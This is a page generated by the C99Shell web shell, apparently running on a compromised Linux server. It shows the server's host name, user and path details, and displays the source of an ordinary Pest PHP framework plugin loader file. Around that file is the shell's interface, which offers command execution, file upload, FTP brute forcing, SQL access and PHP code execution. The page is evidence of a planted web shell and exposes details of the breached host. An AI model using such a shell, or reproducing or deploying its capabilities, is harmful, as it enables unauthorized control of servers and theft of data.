!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/pestphp/pest-plugin/src/   drwxr-xr-x
Free 29.17 GB of 117.98 GB (24.72%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Loader.php (2.82 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Pest\Plugin;

use 
JsonException;
use 
Pest\Support\Container;

/**
 * @internal
 */
final class Loader
{
    
/**
     * Determines if the plugin cache file was loaded.
     *
     * @var bool
     */
    
private static $loaded false;

    
/**
     * Holds the list of cached plugin instances.
     *
     * @var array<int, object>
     */
    
private static $instances = [];

    
/**
     * returns an array of pest plugins to execute.
     *
     * @param  string  $interface the interface for the hook to execute
     * @return array<int, object> list of plugins
     */
    
public static function getPlugins(string $interface): array
    {
        return 
array_values(
            
array_filter(
                
self::getPluginInstances(),
                function (
$plugin) use ($interface): bool {
                    return 
$plugin instanceof $interface;
                }
            )
        );
    }

    public static function 
reset(): void
    
{
        
self::$loaded false;
        
self::$instances = [];
    }

    
/**
     * returns the list of plugins instances.
     *
     * @return array<int, object>
     */
    
private static function getPluginInstances(): array
    {
        if (! 
self::$loaded) {
            
$cachedPlugins sprintf(
                
'%s/../pest-plugins.json',
                
$GLOBALS['_composer_bin_dir'] ?? getcwd().'/vendor/bin',
            );
            
$container Container::getInstance();

            if (! 
file_exists($cachedPlugins)) {
                return [];
            }

            
$content file_get_contents($cachedPlugins);
            if (
$content === false) {
                return [];
            }

            try {
                
/** @var array<int, class-string> $pluginClasses */
                
$pluginClasses json_decode($contentfalse512JSON_THROW_ON_ERROR);
            } catch (
JsonException $ex) {
                
$pluginClasses = [];
            }

            
usort($pluginClasses, function (string $pluginAstring $pluginB) {
                
$isOfficialPlugin = fn (string $plugin) => str_starts_with($plugin'Pest\\Plugins\\');

                return match (
true) {
                    
$isOfficialPlugin($pluginA) && $isOfficialPlugin($pluginB),
                    ! 
$isOfficialPlugin($pluginA) && ! $isOfficialPlugin($pluginB) => 0,
                    
$isOfficialPlugin($pluginA) => 1,
                    default => -
1,
                };
            });

            
self::$instances array_map(
                function (
$class) use ($container) {
                    
/** @var object $object */
                    
$object $container->get($class);

                    return 
$object;
                },
                
$pluginClasses,
            );

            
self::$loaded true;
        }

        return 
self::$instances;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--